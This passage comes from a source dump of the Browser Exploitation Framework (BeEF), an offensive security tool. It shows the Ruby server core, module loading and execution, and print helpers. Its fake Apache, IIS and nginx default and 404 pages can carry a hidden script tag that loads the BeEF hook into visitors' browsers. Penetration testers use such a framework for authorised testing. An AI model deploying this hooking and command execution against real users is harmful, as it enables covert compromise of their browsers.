\\\n            \"<head>\\n\" \\\n            \"<title>Welcome to nginx!</title>\\n\" \\\n            \"<style>\\n\" \\\n            \"    body {\\n\" \\\n            \"        width: 35em;\\n\" \\\n            \"        margin: 0 auto;\\n\" \\\n            \"        font-family: Tahoma, Verdana, Arial, sans-serif;\\n\" \\\n            \"    }\\n\" \\\n            \"</style>\\n\" \\\n            \"</head>\\n\" \\\n            \"<body>\\n\" \\\n            \"<h1>Welcome to nginx!</h1>\\n\" \\\n            \"<p>If you see this page, the nginx web server is successfully installed and\\n\" \\\n            \"working. Further configuration is required.</p>\\n\\n\" \\\n            \"<p>For online documentation and support please refer to\\n\" \\\n            \"<a href=\\\"http://nginx.org/\\\">nginx.org</a>.<br/>\\n\" \\\n            \"Commercial support is available at\\n\" \\\n            \"<a href=\\\"http://nginx.com/\\\">nginx.com</a>.</p>\\n\\n\" \\\n            \"<p><em>Thank you for using nginx.</em></p>\\n\" +\n              (\"<script src='#{config.get('beef.http.hook_file')}'></script>\" if config.get('beef.http.web_server_imitation.hook_root')).to_s +\n              \"</body>\\n\" \\\n              \"</html>\\n\"\n          else\n            print_error 'Configuration error in beef.http.web_server_imitation.type!'\n            print_more 'Supported values are: apache, iis, nginx.'\n            ''\n          end\n        end\n\n        def error_page_404\n          config = BeEF::Core::Configuration.instance\n\n          return 'Not Found.' unless config.get('beef.http.web_server_imitation.enable')\n\n          case config.get('beef.http.web_server_imitation.type')\n          when 'apache'\n            return <<-EOF\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head><body>\n<h1>Not Found</h1>\n<p>The requested URL was not found on this server.</p>\n<hr>\n<address>Apache/2.2.3 (CentOS)</address>\n#{(\"<script src='#{config.get('beef.http.hook_file')}'></script>\" if config.get('beef.http.web_server_imitation.hook_404'))}\n</body></html>\nEOF\n          when 'iis'\n            return <<-EOF\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\n<HTML><HEAD><TITLE>The page cannot be found</TITLE>\n<META HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">\n<STYLE type=\"text/css\">\n  BODY { font: 8pt/12pt verdana }\n  H1 { font: 13pt/15pt verdana }\n  H2 { font: 8pt/12pt verdana }\n  A:link { color: red }\n  A:visited { color: maroon }\n</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>\n<h1>The page cannot be found</h1>\nThe page you are looking for might have been removed, had its name changed, or is temporarily unavailable.\n<hr>\n<p>Please try the following:</p>\n<ul>\n<li>Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.</li>\n<li>If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.</li>\n<li>Click the <a href=\"javascript:history.back(1)\">Back</a> button to try another link.</li>\n</ul>\n<h2>HTTP Error 404 - File or directory not found.<br>Internet Information Services (IIS)</h2>\n<hr>\n<p>Technical Information (for support personnel)</p>\n<ul>\n<li>Go to <a href=\"http://go.microsoft.com/fwlink/?linkid=8180\">Microsoft Product Support Services</a> and perform a title search for the words <b>HTTP</b> and <b>404</b>.</li>\n<li>Open <b>IIS Help</b>, which is accessible in IIS Manager (inetmgr),and search for topics titled <b>Web Site Setup</b>, <b>Common Administrative Tasks</b>, and <b>About Custom Error Messa\n</ul>\n</TD></TR></TABLE>\n#{(\"<script src='#{config.get('beef.http.hook_file')}'></script>\" if config.get('beef.http.web_server_imitation.hook_404'))}\n</BODY></HTML>\nEOF\n          when 'nginx'\n            return <<-EOF\n<html>\n<head><title>404 Not Found</title></head>\n<body bgcolor=\"white\">\n<center><h1>404 Not Found</h1></center>\n<hr><center>nginx</center>\n#{(\"<script src='#{config.get('beef.http.hook_file')}'></script>\" if config.get('beef.http.web_server_imitation.hook_404'))}\n</body>\n</html>\nEOF\n          else\n            print_error 'Configuration error in beef.http.web_server_imitation.type!'\n            print_more 'Supported values are: apache, iis, nginx.'\n            'Not Found.'\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/server.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# Remove Thin 'Server' response header\nThin.send :remove_const, :SERVER\nThin::SERVER = nil\n\nmodule BeEF\n  module Core\n    class Server\n      include Singleton\n      attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore\n\n      def initialize\n        @configuration = BeEF::Core::Configuration.instance\n        @url = @configuration.beef_url_str\n        @root_dir = File.expand_path('../../../', __dir__)\n        @command_urls = {}\n        @mounts = {}\n        @rack_app\n        @semaphore = Mutex.new\n      end\n\n      def to_h\n        {\n          'beef_version' => @configuration.get('beef_version'),\n          'beef_url' => @url,\n          'beef_root_dir' => @root_dir,\n          'beef_host' => @configuration.beef_host,\n          'beef_port' => @configuration.beef_port,\n          'beef_public' => @configuration.public_host,\n          'beef_public_port' => @configuration.public_port,\n          'beef_hook' => @configuration.get('beef.http.hook_file'),\n          'beef_proto' => @configuration.beef_proto,\n          'client_debug' => @configuration.get('beef.client_debug')\n        }\n      end\n\n      #\n      # Mounts a handler, can either be a hard or soft mount\n      #\n      # @param [String] url The url to mount\n      # @param [Class] http_handler_class Class to call once mount is triggered\n      # @param args Arguments to pass to the http handler class\n      #\n      def mount(url, http_handler_class, args = nil)\n        # argument type checking\n        raise TypeError, '\"url\" needs to be a string' unless url.is_a?(String)\n\n        @mounts[url] = if args.nil?\n                         http_handler_class\n                       else\n                         [http_handler_class, *args]\n                       end\n        print_debug \"Server: mounted handler '#{url}'\"\n      end\n\n      #\n      # Unmounts handler\n      #\n      # @param [String] url URL to unmount.\n      #\n      def unmount(url)\n        raise TypeError, '\"url\" needs to be a string' unless url.is_a?(String)\n\n        @mounts.delete url\n      end\n\n      #\n      # Reload the URL map (used by the NetworkStack AssetHandler to mount new URLs at runtime)\n      #\n      def remap\n        @rack_app.remap @mounts\n      end\n\n      #\n      # Prepares the BeEF http server.\n      #\n      def prepare\n        # Create http handler for the javascript hook file\n        mount(@configuration.get('beef.http.hook_file').to_s, BeEF::Core::Handlers::HookedBrowsers.new)\n\n        # Create handler for the initialization checks (Browser Details)\n        mount('/init', BeEF::Core::Handlers::BrowserDetails)\n\n        # Dynamically get the list of all the http handlers using the API and register them\n        BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)\n\n        # Rack mount points\n        @rack_app = Rack::URLMap.new(@mounts)\n\n        return if @http_server\n\n        # Set the logging level of Thin to match the config\n        Thin::Logging.silent = true\n        if @configuration.get('beef.http.debug') == true\n          Thin::Logging.silent = false\n          Thin::Logging.debug = true\n        end\n\n        # Create the BeEF http server\n        @http_server = Thin::Server.new(\n          @configuration.get('beef.http.host'),\n          @configuration.get('beef.http.port'),\n          @rack_app\n        )\n\n        # Configure SSL/TLS\n        return unless @configuration.get('beef.http.https.enable') == true\n\n        openssl_version = OpenSSL::OPENSSL_VERSION\n        if openssl_version =~ / 1\\.0\\.1([a-f])? /\n          print_warning \"Warning: #{openssl_version} is vulnerable to Heartbleed (CVE-2014-0160).\"\n          print_more 'Upgrade OpenSSL to version 1.0.1g or newer.'\n        end\n\n        cert_key = @configuration.get 'beef.http.https.key'\n        cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/'\n        unless File.exist? cert_key\n          print_error \"Error: #{cert_key} does not exist\"\n          exit 1\n        end\n\n        cert = @configuration.get 'beef.http.https.cert'\n        cert = File.expand_path cert, $root_dir unless cert.start_with? '/'\n        unless File.exist? cert\n          print_error \"Error: #{cert} does not exist\"\n          exit 1\n        end\n\n        @http_server.ssl = true\n        @http_server.ssl_options = {\n          private_key_file: cert_key,\n          cert_chain_file: cert,\n          verify_peer: false\n        }\n\n        if Digest::SHA256.hexdigest(File.read(cert)).eql?('978f761fc30cbd174eab0c6ffd2d235849260c0589a99262f136669224c8d82a') ||\n           Digest::SHA256.hexdigest(File.read(cert_key)).eql?('446214bb608caf9e21dd105ce3d4ea65a3f32949906f3eb25a2c622a68623122')\n          print_warning 'Warning: Default SSL cert/key in use.'\n          print_more 'Use the generate-certificate utility to generate a new certificate.'\n        end\n      rescue StandardError => e\n        print_error \"Failed to prepare HTTP server: #{e.message}\"\n        print_error e.backtrace\n        exit 1\n      end\n\n      #\n      # Starts the BeEF http server\n      #\n      def start\n        @http_server.start do\n          use OTR::ActiveRecord::ConnectionManagement\n        end\n      rescue RuntimeError => e\n        # port is in use\n        raise unless e.message.include? 'no acceptor'\n\n        print_error \"Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF to an invalid IP.\"\n        print_error 'Is BeEF already running? Exiting...'\n        exit 127\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Module\n    # Checks to see if module key is in configuration\n    # @param [String] mod module key\n    # @return [Boolean] if the module key exists in BeEF's configuration\n    def self.is_present(mod)\n      BeEF::Core::Configuration.instance.get('beef.module').key? mod.to_s\n    end\n\n    # Checks to see if module is enabled in configuration\n    # @param [String] mod module key\n    # @return [Boolean] if the module key is enabled in BeEF's configuration\n    def self.is_enabled(mod)\n      (is_present(mod) && BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.enable\") == true)\n    end\n\n    # Checks to see if the module reports that it has loaded through the configuration\n    # @param [String] mod module key\n    # @return [Boolean] if the module key is loaded in BeEF's configuration\n    def self.is_loaded(mod)\n      (is_enabled(mod) && BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.loaded\") == true)\n    end\n\n    # Returns module class definition\n    # @param [String] mod module key\n    # @return [Class] the module class\n    def self.get_definition(mod)\n      BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.class\"))\n    end\n\n    # Gets all module options\n    # @param [String] mod module key\n    # @return [Hash] a hash of all the module options\n    # @note API Fire: get_options\n    def self.get_options(mod)\n      if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'get_options', [mod]\n        options = BeEF::API::Registrar.instance.fire BeEF::API::Module, 'get_options', mod\n        mo = []\n        options.each do |o|\n          unless o[:data].is_a?(Array)\n            print_debug 'API Warning: return result for BeEF::Module.get_options() was not an array.'\n            next\n          end\n          mo += o[:data]\n        end\n        return mo\n      end\n\n      unless check_hard_load mod\n        print_debug \"get_opts called on unloaded module '#{mod}'\"\n        return []\n      end\n\n      class_name = BeEF::Core::Configuration.instance.get \"beef.module.#{mod}.class\"\n      class_symbol = BeEF::Core::Command.const_get class_name\n\n      return [] unless class_symbol && class_symbol.respond_to?(:options)\n\n      class_symbol.options\n    end\n\n    # Gets all module payload options\n    # @param [String] mod module key\n    # @return [Hash] a hash of all the module options\n    # @note API Fire: get_options\n    def self.get_payload_options(mod, payload)\n      return [] unless BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'get_payload_options', [mod, nil])\n\n      BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'get_payload_options', mod, payload)\n    end\n\n    # Soft loads a module\n    # @note A soft load consists of only loading the modules configuration (ie not the module.rb)\n    # @param [String] mod module key\n    # @return [Boolean] whether or not the soft load process was successful\n    # @note API Fire: pre_soft_load\n    # @note API Fire: post_soft_load\n    def self.soft_load(mod)\n      # API call for pre-soft-load module\n      BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_soft_load', mod)\n      config = BeEF::Core::Configuration.instance\n\n      mod_str = \"beef.module.#{mod}\"\n      if config.get(\"#{mod_str}.loaded\")\n        print_error \"Unable to load module '#{mod}'\"\n        return false\n      end\n\n      mod_path = \"#{$root_dir}/#{config.get(\"#{mod_str}.path\")}/module.rb\"\n      unless File.exist? mod_path\n        print_debug \"Unable to locate module file: #{mod_path}\"\n        return false\n      end\n\n      BeEF::Core::Configuration.instance.set(\"#{mod_str}.class\", mod.capitalize)\n      parse_targets mod\n      print_debug \"Soft Load module: '#{mod}'\"\n\n      # API call for post-soft-load module\n      BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod)\n      true\n    rescue StandardError => e\n      print_error \"There was a problem soft loading the module '#{mod}': #{e.message}\"\n      false\n    end\n\n    # Hard loads a module\n    # @note A hard load consists of loading a pre-soft-loaded module by requiring the module.rb\n    # @param [String] mod module key\n    # @return [Boolean] whether or not the hard load was successful\n    # @note API Fire: pre_hard_load\n    # @note API Fire: post_hard_load\n    def self.hard_load(mod)\n      # API call for pre-hard-load module\n      BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_hard_load', mod)\n      config = BeEF::Core::Configuration.instance\n\n      unless is_enabled mod\n        print_error \"Hard load attempted on module '#{mod}' that is not enabled.\"\n        return false\n      end\n\n      mod_str = \"beef.module.#{mod}\"\n      mod_path = \"#{config.get(\"#{mod_str}.path\")}/module.rb\"\n      require mod_path\n\n      unless exists? config.get(\"#{mod_str}.class\")\n        print_error \"Hard loaded module '#{mod}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist\"\n        return false\n      end\n\n      # start server mount point\n      BeEF::Core::Server.instance.mount(\"/command/#{mod}.js\", BeEF::Core::Handlers::Commands, mod)\n      BeEF::Core::Configuration.instance.set(\"#{mod_str}.mount\", \"/command/#{mod}.js\")\n      BeEF::Core::Configuration.instance.set(\"#{mod_str}.loaded\", true)\n      print_debug \"Hard Load module: '#{mod}'\"\n\n      # API call for post-hard-load module\n      BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod)\n      true\n    rescue StandardError => e\n      BeEF::Core::Configuration.instance.set(\"#{mod_str}.loaded\", false)\n      print_error \"There was a problem loading the module '#{mod}'\"\n      print_debug \"Hard load module syntax error: #{e}\"\n      false\n    end\n\n    # Checks to see if a module has been hard loaded, if not a hard load is attempted\n    # @param [String] mod module key\n    # @return [Boolean] if already hard loaded then true otherwise (see #hard_load)\n    def self.check_hard_load(mod)\n      return true if is_loaded mod\n\n      hard_load mod\n    end\n\n    # Get module key by database ID\n    # @param [Integer] id module database ID\n    # @return [String] module key\n    def self.get_key_by_database_id(id)\n      ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|\n        v.key?('db') && v['db']['id'].to_i == id.to_i\n      end\n      ret.is_a?(Array) ? ret.first.first : ret.keys.first\n    end\n\n    # Get module key by module class\n    # @param [Class] c module class\n    # @return [String] module key\n    def self.get_key_by_class(c)\n      ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|\n        v.key?('class') && v['class'].to_s.eql?(c.to_s)\n      end\n      ret.is_a?(Array) ? ret.first.first : ret.keys.first\n    end\n\n    # Checks to see if module class exists\n    # @param [String] mod module key\n    # @return [Boolean] returns whether or not the class exists\n    def self.exists?(mod)\n      kclass = BeEF::Core::Command.const_get mod.capitalize\n      kclass.is_a? Class\n    rescue NameError\n      false\n    end\n\n    # Checks target configuration to see if browser / version / operating system is supported\n    # @param [String] mod module key\n    # @param [Hash] opts hash of module support information\n    # @return [Constant, nil] returns a resulting defined constant BeEF::Core::Constants::CommandModule::*\n    # @note Support uses a rating system to provide the most accurate results.\n    #   1 = All match. ie: All was defined.\n    #   2 = String match. ie: Firefox was defined as working.\n    #   3 = Hash match. ie: Firefox defined with 1 additional parameter (eg max_ver).\n    #   4+ = As above but with extra parameters.\n    #   Please note this rating system has no correlation to the return constant value BeEF::Core::Constants::CommandModule::*\n    def self.support(mod, opts)\n      target_config = BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.target\")\n      return nil unless target_config\n      return nil unless opts.is_a? Hash\n\n      unless opts.key? 'browser'\n        print_error 'BeEF::Module.support() was passed a hash without a valid browser constant'\n        return nil\n      end\n\n      results = []\n      target_config.each do |k, m|\n        m.each do |v|\n          case v\n          when String\n            if opts['browser'] == v\n              # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING\n              #   rating += 1\n              # end\n              results << { 'rating' => 2, 'const' => k }\n            end\n          when Hash\n            break if opts['browser'] != v.keys.first && v.keys.first != BeEF::Core::Constants::Browsers::ALL\n\n            subv = v[v.keys.first]\n            rating = 1\n\n            # version check\n            if opts.key?('ver')\n              if subv.key?('min_ver')\n                break unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver']\n                rating += 1\n              end\n              if subv.key?('max_ver')\n                break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest'\n                rating += 1\n              end\n            end\n\n            # os check\n            if opts.key?('os') && subv.key?('os')\n              match = false\n              opts['os'].each do |o|\n                case subv['os']\n                when String\n                  if o == subv['os']\n                    rating += 1\n                    match = true\n                  elsif subv['os'].eql? BeEF::Core::Constants::Os::OS_ALL_UA_STR\n                    match = true\n                  end\n                when Array\n                  subv['os'].each do |p|\n                    if o == p\n                      rating += 1\n                      match = true\n                    elsif p.eql? BeEF::Core::Constants::Os::OS_ALL_UA_STR\n                      match = true\n                    end\n                  end\n                end\n              end\n              break unless match\n            end\n\n            if rating.positive?\n              # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING\n              #   rating += 1\n              # end\n              results << { 'rating' => rating, 'const' => k }\n            end\n          end\n\n          next unless v.eql? BeEF::Core::Constants::Browsers::ALL\n\n          rating = 1\n          rating = 1 if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING\n\n          results << { 'rating' => rating, 'const' => k }\n        end\n      end\n\n      return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN unless results.count.positive?\n\n      result = {}\n      results.each do |r|\n        result = { 'rating' => r['rating'], 'const' => r['const'] } if result == {} || r['rating'] > result['rating']\n      end\n\n      result['const']\n    end\n\n    # Translates module target configuration\n    # @note Takes the user defined target configuration and replaces it with equivalent a constant based generated version\n    # @param [String] mod module key\n    def self.parse_targets(mod)\n      mod_str = \"beef.module.#{mod}\"\n      target_config = BeEF::Core::Configuration.instance.get(\"#{mod_str}.target\")\n      return unless target_config\n\n      targets = {}\n      target_config.each do |k, v|\n        # Convert the key to a string if it's not already one\n        k_str = k.to_s.upcase\n      \n        # Use the adjusted string key for the rest of the process\n        next unless BeEF::Core::Constants::CommandModule.const_defined? \"VERIFIED_#{k_str}\"\n      \n        key = BeEF::Core::Constants::CommandModule.const_get \"VERIFIED_#{k_str}\"\n        targets[key] = [] unless targets.key? key\n        browser = nil\n\n        case v\n        when String\n          browser = match_target_browser v\n          targets[key] << browser if browser\n        when Array\n          v.each do |c|\n            browser = match_target_browser c\n            targets[key] << browser if browser\n          end\n        when Hash\n          v.each do |k, c|\n            browser = match_target_browser k\n            next unless browser\n\n            case c\n            when TrueClass\n              targets[key] << browser\n            when Hash\n              details = match_target_browser_spec c\n              targets[key] << { browser => details } if details\n            end\n          end\n        end\n      rescue NameError\n        print_error \"Module '#{mod}' configuration has invalid target status defined '#{k}'\"\n      end\n\n      BeEF::Core::Configuration.instance.clear \"#{mod_str}.target\"\n      BeEF::Core::Configuration.instance.set \"#{mod_str}.target\", targets\n    end\n\n    # Translates simple browser target configuration\n    # @note Takes a user defined browser type and translates it into a BeEF constant\n    # @param [String] v user defined browser\n    # @return [Constant] a BeEF browser constant\n    def self.match_target_browser(v)\n      unless v.instance_of?(String)\n        print_error 'Invalid datatype passed to BeEF::Module.match_target_browser()'\n        return false\n      end\n\n      return false unless BeEF::Core::Constants::Browsers.const_defined? v.upcase\n\n      BeEF::Core::Constants::Browsers.const_get v.upcase\n    rescue NameError\n      print_error \"Could not identify browser target specified as '#{v}'\"\n      false\n    end\n\n    # Translates complex browser target configuration\n    # @note Takes a complex user defined browser hash and converts it to applicable BeEF constants\n    # @param [Hash] v user defined browser hash\n    # @return [Hash] BeEF constants hash\n    def self.match_target_browser_spec(v)\n      unless v.instance_of?(Hash)\n        print_error 'Invalid datatype passed to BeEF::Module.match_target_browser_spec()'\n        return {}\n      end\n\n      browser = {}\n      browser['max_ver'] = v['max_ver'] if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest')\n\n      browser['min_ver'] = v['min_ver'] if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float))\n\n      return browser unless v.key?('os')\n\n      case v['os']\n      when String\n        os = match_target_os v['os']\n        browser['os'] = os if os\n      when Array\n        browser['os'] = []\n        v['os'].each do |c|\n          os = match_target_os c\n          browser['os'] << os if os\n        end\n      end\n\n      browser\n    end\n\n    # Translates simple OS target configuration\n    # @note Takes user defined OS specification and translates it into BeEF constants\n    # @param [String] v user defined OS string\n    # @return [Constant] BeEF OS Constant\n    def self.match_target_os(v)\n      unless v.instance_of?(String)\n        print_error 'Invalid datatype passed to BeEF::Module.match_target_os()'\n        return false\n      end\n\n      return false unless BeEF::Core::Constants::Os.const_defined? \"OS_#{v.upcase}_UA_STR\"\n\n      BeEF::Core::Constants::Os.const_get \"OS_#{v.upcase}_UA_STR\"\n    rescue NameError\n      print_error \"Could not identify OS target specified as '#{v}'\"\n      false\n    end\n\n    # Executes a module\n    # @param [String] mod module key\n    # @param [String] hbsession hooked browser session\n    # @param [Array] opts array of module execute options (see #get_options)\n    # @return [Integer] the command_id associated to the module execution when info is persisted. nil if there are errors.\n    # @note The return value of this function does not specify if the module was successful, only that it was executed within the framework\n    def self.execute(mod, hbsession, opts = [])\n      unless is_present(mod) && is_enabled(mod)\n        print_error \"Module not found '#{mod}'. Failed to execute module.\"\n        return nil\n      end\n\n      if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'override_execute', [mod, nil, nil]\n        BeEF::API::Registrar.instance.fire BeEF::API::Module, 'override_execute', mod, hbsession, opts\n        # @note We return not_nil by default as we cannot determine the correct status if multiple API hooks have been called\n        # @note using metasploit, we cannot know if the module execution was successful or not\n        return 'not_available'\n      end\n\n      hb = BeEF::HBManager.get_by_session hbsession\n      unless hb\n        print_error \"Could not find hooked browser when attempting to execute module '#{mod}'\"\n        return nil\n      end\n\n      check_hard_load mod\n      command_module = get_definition(mod).new(mod)\n      command_module.pre_execute if command_module.respond_to?(:pre_execute)\n      merge_options(mod, [])\n      c = BeEF::Core::Models::Command.create(\n        data: merge_options(mod, opts).to_json,\n        hooked_browser_id: hb.id,\n        command_module_id: BeEF::Core::Configuration.instance.get(\"beef.module.#{mod}.db.id\"),\n        creationdate: Time.new.to_i\n      )\n      c.id\n    end\n\n    # Merges default module options with array of custom options\n    # @param [String] mod module key\n    # @param [Hash] opts module options customised by user input\n    # @return [Hash, nil] returns merged options\n    def self.merge_options(mod, opts)\n      return nil unless is_present mod\n\n      check_hard_load mod\n      merged = []\n      defaults = get_options mod\n      defaults.each do |v|\n        mer = nil\n        opts.each do |o|\n          mer = v.deep_merge o if v.key?('name') && o.key?('name') && v['name'] == o['name']\n        end\n\n        mer.nil? ? merged.push(v) : merged.push(mer)\n      end\n\n      merged\n    end\n  end\nend\n"
  },
  {
    "path": "core/modules.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Modules\n    # Return configuration hashes of all modules that are enabled\n    # @return [Array] configuration hashes of all enabled modules\n    def self.get_enabled\n      BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|\n        v['enable'] == true && !v['category'].nil?\n      end\n    end\n\n    # Return configuration hashes of all modules that are loaded\n    # @return [Array] configuration hashes of all loaded modules\n    def self.get_loaded\n      BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v|\n        v['loaded'] == true\n      end\n    end\n\n    # Return an array of categories specified in module configuration files\n    # @return [Array] all available module categories sorted alphabetically\n    def self.get_categories\n      categories = []\n      BeEF::Core::Configuration.instance.get('beef.module').each_value do |v|\n        flatcategory = ''\n        if v['category'].is_a?(Array)\n          # Therefore this module has nested categories (sub-folders),\n          # munge them together into a string with '/' characters, like a folder.\n          v['category'].each do |cat|\n            flatcategory << \"#{cat}/\"\n          end\n        else\n          flatcategory = v['category']\n        end\n        categories << flatcategory unless categories.include? flatcategory\n      end\n\n      # This is now uniqued, because otherwise the recursive function to build\n      # the json tree breaks if there are duplicates.\n      categories.sort.uniq\n    end\n\n    # Get all modules currently stored in the database\n    # @return [Array] DataMapper array of all BeEF::Core::Models::CommandModule's in the database\n    def self.get_stored_in_db\n      BeEF::Core::Models::CommandModule.all.order(:id)\n    end\n\n    # Loads all enabled modules\n    # @note API Fire: post_soft_load\n    def self.load\n      BeEF::Core::Configuration.instance.load_modules_config\n      get_enabled.each_key do |k|\n        BeEF::Module.soft_load k\n      end\n      BeEF::API::Registrar.instance.fire BeEF::API::Modules, 'post_soft_load'\n    end\n  end\nend\n"
  },
  {
    "path": "core/ruby/hash.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Hash\n  # Recursively deep merge two hashes together\n  # @param [Hash] hash Hash to be merged\n  # @return [Hash] Combined hash\n  # @note Duplicate keys are overwritten by the value defined\n  #       in the hash calling deep_merge (not the parameter hash)\n  # @note http://snippets.dzone.com/posts/show/4706\n  def deep_merge(hash)\n    target = dup\n    hash.keys.each do |key|\n      if hash[key].is_a?(Hash) && self[key].is_a?(Hash)\n        target[key] = target[key].deep_merge hash[key]\n        next\n      end\n      target[key] = hash[key]\n    end\n    target\n  end\nend\n"
  },
  {
    "path": "core/ruby/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Module\n  # Returns the classes in the current ObjectSpace where this module has been mixed in according to Module#included_modules.\n  # @return [Array] An array of classes\n  def included_in_classes\n    classes = []\n    ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) }\n\n    classes.reverse.each_with_object([]) do |klass, unique_classes|\n      unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s)\n    end\n  end\n\n  # Returns the modules in the current ObjectSpace where this module has been mixed in according to Module#included_modules.\n  # @return [Array] An array of modules\n  def included_in_modules\n    modules = []\n    ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) }\n\n    modules.reverse.each_with_object([]) do |klass, unique_modules|\n      unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s)\n    end\n  end\nend\n"
  },
  {
    "path": "core/ruby/print.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\n# Function used to print errors to the console\n# @param [String] s String to be printed\ndef print_error(s)\n  puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s\n  BeEF.logger.error s.to_s\nend\n\n# Function used to print information to the console\n# @param [String] s String to be printed\ndef print_info(s)\n  puts Time.now.localtime.strftime('[%k:%M:%S]') + '[*]' + ' ' + s.to_s\n  BeEF.logger.info s.to_s\nend\n\n# Function used to print information to the console (wraps print_info)\n# @param [String] s String to be printed\ndef print_status(s)\n  print_info(s)\nend\n\n# Function used to print warning information\n# @param [String] s String to be printed\ndef print_warning(s)\n  puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s\n  BeEF.logger.warn s.to_s\nend\n\n# Function used to print debug information\n# @param [String] s String to be printed\n# @note This function will only print messages if the debug flag is set to true\ndef print_debug(s)\n  config = BeEF::Core::Configuration.instance\n  return unless config.get('beef.debug') || BeEF::Core::Console::CommandLine.parse[:verbose]\n\n  puts Time.now.localtime.strftime('[%k:%M:%S]') + '[>]' + ' ' + s.to_s\n  BeEF.logger.debug s.to_s\nend\n\n# Function used to print successes to the console\n# @param [String] s String to be printed\ndef print_success(s)\n  puts Time.now.localtime.strftime('[%k:%M:%S]') + '[+]' + ' ' + s.to_s\n  BeEF.logger.info s.to_s\nend\n\n# Function used to print successes to the console (wraps print_success)\n# @param [String] s String to be printed\ndef print_good(s)\n  print_success(s)\nend\n\n# Print multiple lines with decoration split by the return character\n# @param [String] s String to be printed\n# @note The string passed needs to be separated by the \"\\n\" for multiple lines to be printed\ndef print_more(s)\n  time = Time.now.localtime.strftime('[%k:%M:%S]')\n\n  lines = if s.instance_of?(Array)\n            s\n          else\n            s.split(\"\\n\")\n          end\n\n  lines.each_with_index do |line, index|\n    if (index + 1) == lines.size\n      puts \"#{time}    |_  #{line}\"\n      BeEF.logger.info \"#{time}    |_  #{line}\"\n    else\n      puts \"#{time}    |   #{line}\"\n      BeEF.logger.info \"#{time}    |   #{line}\"\n    end\n  end\nend\n\n# Function used to print over the current line\n# @param [String] s String to print over current line\n# @note To terminate the print_over functionality your last print_over line must include a \"\\n\" return\ndef print_over(s)\n  time = Time.now.localtime.strftime('[%k:%M:%S]')\n  print \"\\r#{time}\" + '[*]'.blue + \" #{s}\"\n  BeEF.logger.info s.to_s\nend\n"
  },
  {
    "path": "core/ruby/security.rb",
